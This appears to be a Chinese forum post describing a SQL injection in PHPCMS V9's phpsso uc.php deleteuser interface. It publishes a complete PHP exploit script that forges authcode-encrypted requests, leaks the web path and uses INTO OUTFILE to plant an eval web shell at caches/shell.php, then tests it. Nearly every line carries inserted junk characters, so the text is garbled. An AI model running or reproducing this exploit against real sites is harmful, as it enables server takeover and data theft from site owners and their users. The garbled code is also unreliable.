PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。4 H5 A2 N" W8 g" a$ P
1 |/ [# Q( D% k: X- k, R所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
3 @: p& t, f1 v3 \+ s# g' H0 J& Q
漏洞分析:
0 K0 s& h! E% ^1.未启用ucenter服务的情况下uc_key为空8 G# I2 j! y, O$ a; E8 }* S
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
0 G, s; h+ G, Q2 P2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
# @+ [! g% d0 d public function deleteuser($get,$post) {) e' d2 i5 O; W1 X, [) p7 X7 [
pc_base::load_app_func('global', 'admin');/ E9 N/ h& @; s
pc_base::load_app_class('messagequeue', 'admin' , 0);( e$ W/ @$ k2 P8 M; a: U# o3 {
$ids = new_stripslashes($get['ids']);, M2 Y2 W! d$ f4 \9 ?
$s = $this->member_db->select("ucuserid in ($ids)", "uid");" E8 A2 V# L4 c9 F% r4 } g# d, j5 l: R
SQL语句为
9 \3 N9 J+ X* p3 _+ }5 t# d$ C0 z( bSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)4 [& |# o+ b5 g* B' b K
; d" F" }, _( \! o5 y5 ?6 E- s利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell) w: H6 i$ B- z* A! k- l
<?php
7 g4 H8 E1 f' `: i9 Iprint_r('& D! f' N. _9 E' [& y
---------------------------------------------------------------------------
8 D+ n' c a: B; X% e6 v; KPHPcms (v9 or Old Version) uc api sql injection 0day
! R9 q( F9 b1 g: E) ~by rayh4c#80sec.com
4 a& @/ T# V8 O9 L. [0 G---------------------------------------------------------------------------
9 Z* O- q: ^5 P: M( n8 }6 ?');
1 P5 T( x" v% C4 R
+ ?6 R3 ^2 @8 u+ @* pif ($argc<3) {
' Y3 \5 y# M) Q7 ] print_r('
: A1 G0 t" `" l; W. k" j4 ?---------------------------------------------------------------------------
5 G+ ?. n& ~5 `' }1 [# W, U) {( mUsage: php '.$argv[0].' host path OPTIONS
& H) _) O- U) }( Vhost: target server (ip/hostname)
; i( x) n5 |. T" k6 ?6 Z# u- vpath: path to phpcms
! V, U3 n4 c3 W5 WOptions:
4 a, H. q7 d4 y5 U; U -p[port]: specify a port other than 80
- b- { K% _2 X1 [ -P[ip:port]: specify a proxy2 h. j$ {# F( }& a
Example:6 i9 T+ |, Z2 r2 r0 Z& U
php '.$argv[0].' localhost /
6 r, ?( i- p) Z6 ?: Vphp '.$argv[0].' localhost /phpcms/ -p814 _( b- l3 D4 A$ j" D8 _% J: K. v) p
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80- g: r5 r! r0 U7 @6 p
---------------------------------------------------------------------------. u% F' U6 l% a( @) n
');7 t6 i$ C1 ~% A% N4 \0 v' {0 o' Q7 [
die;
' u- Q. z9 z8 x# n/ u& S}' r7 O& _! \- I6 a7 e$ m
5 {; A) p# |+ I2 }- e9 ^
error_reporting(7);3 ]! T0 K. e2 Z$ r- T& Z
ini_set("max_execution_time",0);
" o P2 R5 }4 O8 F) J! D/ Aini_set("default_socket_timeout",5);
/ W5 X4 B3 D5 m; R9 U: W$ U; f' b) W8 Y1 b/ \$ p4 j2 s
function quick_dump($string)* ?: J0 Y; U, [: l2 ^$ \
{+ R/ m$ g. n3 v% T8 w$ h- U5 T
$result='';$exa='';$cont=0;
% B6 e8 S3 `) c for ($i=0; $i<=strlen($string)-1; $i++)4 c! c/ U* t; m
{; ?' u7 F* w! l" z
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))" q' f$ d y* }+ w/ ]" |8 @3 U6 `3 F
{$result.=" .";}& @0 P) {& ?3 u. s/ d7 [3 V; ]( H# f
else1 M3 n7 B6 g4 p+ Y. p0 E0 w9 O9 ?1 V; g
{$result.=" ".$string[$i];}1 M& d8 M, h& R6 Z$ ^. M
if (strlen(dechex(ord($string[$i])))==2)
" `& I$ I/ ~8 C( i ]4 d {$exa.=" ".dechex(ord($string[$i]));}$ C _- H3 i# l2 W# ^ p
else/ C$ \3 H: B! w0 P6 @
{$exa.=" 0".dechex(ord($string[$i]));} a3 P* }7 ^1 \8 ^3 A$ [$ p( |
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}3 a, S- d* |: ~6 }( |
}$ e- f( {. d) U5 T9 x: o
return $exa."\r\n".$result;
% Z6 K: A& B0 U) o6 V: L" h}
! ?/ z8 w+ K- o* `; h$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
3 o) ?2 E' l6 @$ i4 l# x1 n
1 k/ G0 M3 D' e2 J9 N. _function send($packet)4 ]/ r, x* O: I& ?* |$ V) s
{+ v' ]7 s: |& W8 I+ e% C
global $proxy, $host, $port, $html, $proxy_regex;8 y/ O" |4 n2 R$ h" ]' q2 _3 T- d
if ($proxy=='') {
4 _& I5 C8 o% X! `* q $ock=fsockopen(gethostbyname($host),$port);, ~8 G2 _ l) R2 X2 V. h- B J
if (!$ock) {
6 B1 p, n$ F1 g# g echo 'No response from '.$host.':'.$port; die;: }5 C# u, `8 X* W
}
9 ~+ ]& L8 n" F" z" p( Z }1 y- o- A1 f$ N3 s
else {$ F0 d, k! I1 }0 m/ l
$c = preg_match($proxy_regex,$proxy);
- j! `: ~1 j, T% L. }9 M3 v if (!$c) {
9 r/ q2 {& X9 ]9 \% n echo 'Not a valid proxy...';die;* L" x) o F) a8 l
}
. I: P1 l' H ?5 h/ p8 G $parts=explode(':',$proxy);
; R: u2 s5 o$ d" U6 F $parts[1]=(int)$parts[1];
7 c. B+ I9 L/ J2 \3 J8 g# I) J, m echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";9 U; m9 D" q4 ]0 w$ A; p5 p" F
$ock=fsockopen($parts[0],$parts[1]);
. K$ w* E7 ]3 [ if (!$ock) {' H% o# C+ w6 j: ]( m* l
echo 'No response from proxy...';die;
. q! ?# t' G( p1 r/ a' J }& h4 j7 z" A; r1 O2 R
}: e! U+ c: A5 C9 h% Q
fputs($ock,$packet);
l+ [( w* d! e9 `$ s: @7 l$ c if ($proxy=='') {- l5 C& O+ [/ @
$html='';# C7 V0 ]9 K; R
while (!feof($ock)) {
# {: R& l- [1 ]9 E m $html.=fgets($ock);
2 M8 i! h! _' k9 e }
. C$ u' p2 h, l* c }
0 @& g9 a& t0 @ else {" i" n. B; i& @/ }6 O
$html='';
! I! g+ Q6 H8 y3 `0 K( |% S while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {9 _; o5 m+ R# a N* b: P
$html.=fread($ock,1);
+ s) r0 K! f7 s! S }
% R. _1 o5 I! X5 N }9 ?3 i4 d3 ~9 B K1 w! ^9 o
fclose($ock);- H7 w _, f+ I, w2 V" t
}
- f( K0 m' @9 V
$ N+ ? {) P+ e# t( ^; J) I0 ^$host=$argv[1];
' Z, \3 j/ \- f6 O) J* b$path=$argv[2];$ F- ]# O$ R& f8 P9 Q% A
$port=80;
" J( @( z4 C& b) Z$ c$proxy="";
7 ^. P/ e5 g7 d3 T8 ?. Y& [for ($i=3; $i<$argc; $i++){
4 E. O/ F/ y( f" u6 M$ L. Z$temp=$argv[$i][0].$argv[$i][1];
4 `: `* Z/ u! |- B+ `3 ^- Vif ($temp=="-p")7 j" ` R& ^- t' u: E
{6 ^8 f! J/ `1 I" A- Q2 v+ _1 f" s
$port=(int)str_replace("-p","",$argv[$i]);
, ^0 F, O- H$ U- ^; \) i4 z- O}
* w. N4 t, @/ l" E0 _if ($temp=="-P")
" `$ J% P9 h* _8 r{4 g$ S2 _ X3 u4 V. X
$proxy=str_replace("-P","",$argv[$i]);
% g$ W. I; E; ~& p}
& K/ ^2 S F/ ]}
' T) N& P0 o3 a( j/ m
) z6 e+ c4 O* ?7 b% zif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
5 v! U% W3 P |( U& ^" L# K" u5 Eif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
8 ~/ P: m# r8 P- j9 a( Z$ D) w, C: D
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
; V: u+ Z$ C$ ^' M9 V" y, p% }8 ]7 t- w* U
$ckey_length = 4;' P" m4 ~" M2 t4 x/ S7 I0 [* L
, H, V5 @: h( l' G: }+ t" J5 S. g $key = md5($key ? $key : '');; H! o+ k6 v) y0 U' x) l8 O+ X( G
$keya = md5(substr($key, 0, 16));0 s" S: L, K" z, {
$keyb = md5(substr($key, 16, 16));
$ [0 l9 ]. _: A2 ^ $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
' E5 Y, a' M7 b# |" Q) R1 i3 G
2 r, B% U6 t5 m0 s+ K) z! N! J- f $cryptkey = $keya.md5($keya.$keyc);) a3 e, f3 L- A9 l* Z: [& Y
$key_length = strlen($cryptkey);# H. P8 _& c* |9 ~. f5 l9 O9 K
, b, _* q5 ?' x( B9 H5 G6 ^ $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;* [9 _8 \5 O& W; g% \+ M( ?8 g) }7 O
$string_length = strlen($string);: j% ?" k% V6 z# r& T1 ^0 |4 o$ E
n4 J) m. ~ i$ J7 V $result = '';
b: f4 q: W0 y. ^9 ~ $box = range(0, 255);
0 {& B6 v+ ^) S6 A2 `% {
$ L2 K# Y1 }: y( M" h $rndkey = array();
8 Y& n: j9 Z2 L; Q% Z for($i = 0; $i <= 255; $i++) {
% c: y$ k& Y+ J% b. i- o* z $rndkey[$i] = ord($cryptkey[$i % $key_length]);
; R% s4 }. Z" C# ] }
% I- ^6 i+ i1 l# Z: b; }& v( X; D6 p
2 w6 T1 D; ?; m for($j = $i = 0; $i < 256; $i++) {
! ~. W9 y2 s/ x+ O $j = ($j + $box[$i] + $rndkey[$i]) % 256;. \, n2 P. h7 q8 W" R
$tmp = $box[$i];' Y2 N, A, k3 Z) w) z/ x6 K
$box[$i] = $box[$j];; ?2 t' v3 d4 ?+ O# S5 z* j" F
$box[$j] = $tmp;
; O$ T$ ] E# a- ?2 T. a }
) w' W6 N0 {0 a9 s) k; X0 Z& n) d" w _! h
for($a = $j = $i = 0; $i < $string_length; $i++) {
0 Q. `$ v+ `2 O5 K3 |& o# p& d' G $a = ($a + 1) % 256;
: Y4 d' `% _! d% ] $j = ($j + $box[$a]) % 256;: K% |6 R$ a( n' {+ g7 t4 F
$tmp = $box[$a];, I/ ^$ F G# r% ]1 u
$box[$a] = $box[$j];( q G' T8 _: p0 _2 G) b
$box[$j] = $tmp;% d' q7 @. o7 d: }4 d- I) E* C1 R, ]
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
. ~* ^( `% W/ w' D7 N9 p D }
2 }# l7 l+ t- a+ `, r" L, q
' U1 a5 B6 @" U: U2 M if($operation == 'DECODE') {, _" O5 u9 Y8 @. q. g. {1 {
if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
) I$ V- K1 G/ U3 S1 _* H" { return substr($result, 26); ]6 J% F* V+ }* b& K
} else {
" f0 W* I& K& ~9 P. B; W; B return '';8 [5 Q1 r2 i: M' G/ O
}+ B% I9 n+ P( D/ U8 H7 j
} else {
/ l( q% @" S$ S, x; p5 Q return $keyc.str_replace('=', '', base64_encode($result));6 [# f4 Y$ u% w4 u4 x
}3 z6 Q7 X! P0 o: E6 x
# @9 r0 u- n! m! W& | \
}2 N6 r( B6 I" a
9 X' q/ @9 n; M5 }+ X
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";0 e4 d* ?+ I5 _9 Z3 {( i
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
- k/ G) s1 p1 F. V4 P2 `echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
3 N" c: U7 F, L7 @: J/ t1 e$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";5 G2 Q: O6 n9 k# Q, n7 c
$packet.="User-Agent: Mozilla/5.0\r\n";
# }( G, T2 L9 f5 E$ }1 R$packet.="Host: ".$host."\r\n";/ Q& w- V0 \5 E+ R) |
$packet.="Connection: Close\r\n\r\n";
* ^6 J2 J- u3 P4 A7 X! i: v1 Isend($packet);( ?2 l2 P: d, |0 T
if(strpos($html,"MySQL Errno") > 0){1 I) y' e0 h; t; N
echo "[2] 发现存在SQL注入漏洞"."\n";# ~& P! t6 [1 F' X
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";" s# L1 R+ X: \( X& ^
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";8 k' H% v0 C4 d/ w+ E' N
$packet.="User-Agent: Mozilla/5.0\r\n";
+ B" h1 A! z- j$packet.="Host: ".$host."\r\n";1 F" {# P/ H( }, b
$packet.="Connection: Close\r\n\r\n";9 D( l+ V9 i0 o3 o4 y9 P
send($packet);
, I6 E0 V" v2 r9 _) W" @: T N' bpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);3 U- J3 J$ E1 O2 u$ J& J9 d
//print_r($matches);
; h6 S; z5 O6 jif(!empty($matches)){
& P# \; F/ n! o+ t1 [4 j/ \echo "[4] 得到web路径 " . $matches[0]."\n";7 C9 R1 Y# b Z4 J6 M4 [6 w" C# P
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";0 f; G- @3 T% a6 |! T7 a# h' o' U
$SQL = "time=999999999999999999999999&ids=1)";
( F: o G: \, H5 }$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";1 T* I5 }" K1 ~# h, k' ~
$SQL.="&action=deleteuser";
3 E6 u) B5 W5 C' g0 c$SQL = urlencode(authcode($SQL, "ENCODE", ""));
' K* Z6 j4 ~3 n1 h0 l( i8 Y, D2 fecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
2 ]5 t9 c. h' t- x; {- P) R$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";7 m! ~) Q+ a! k$ {
$packet.="User-Agent: Mozilla/5.0\r\n";8 u" o% U# f" v5 B- A
$packet.="Host: ".$host."\r\n";
7 d; [' s) O4 @# w$packet.="Connection: Close\r\n\r\n";6 i, ~4 a1 n$ {7 O
send($packet);
: }" e7 h$ _1 mif(strpos($html,"Access denied") > 0){
: {, z+ b4 h9 k* \0 ^7 V0 m& m5 _' Vecho "[-] MYSQL权限过低 禁止写入文件 ";: {( g: }6 \ c
die;
# W! O2 |9 b" z8 l}& s- U3 z) p) ?4 J( e0 E
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";- s+ E. O! R: X7 x* R
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
( w% l7 ]& ^1 ^/ }( d$packet.="User-Agent: Mozilla/5.0\r\n";
# ?* D! C9 b; a% d: q9 H$packet.="Host: ".$host."\r\n"; E4 a# G! o9 c# p5 `7 i
$packet.="Connection: Close\r\n\r\n";
! H0 o( |) m1 q- Msend($packet);
! j$ ?0 q4 R N5 Zif(strpos($html,"<title>phpinfo()</title>") > 0){
1 B$ O1 b5 P% y" i# }7 x2 n% j; xecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";& e5 T# n( N( @6 r
}; W. g1 m' \0 a. K! r. @/ {
}else{
0 |: }2 s+ I0 b4 v. {echo "[-]未取到web路径 ";
! N1 L& [; Q) R0 y M}
' G9 `( R, \6 w) Q}else{
2 R# M9 n$ |4 C, Cecho "[*]不存在SQL注入漏洞"."\n";3 y; O" s6 V- Z) H# b
}
7 D7 [6 Y- Q; L0 K$ e0 z
0 V4 w0 B8 M' Z?>
3 b; d! U' F: J( r, \ |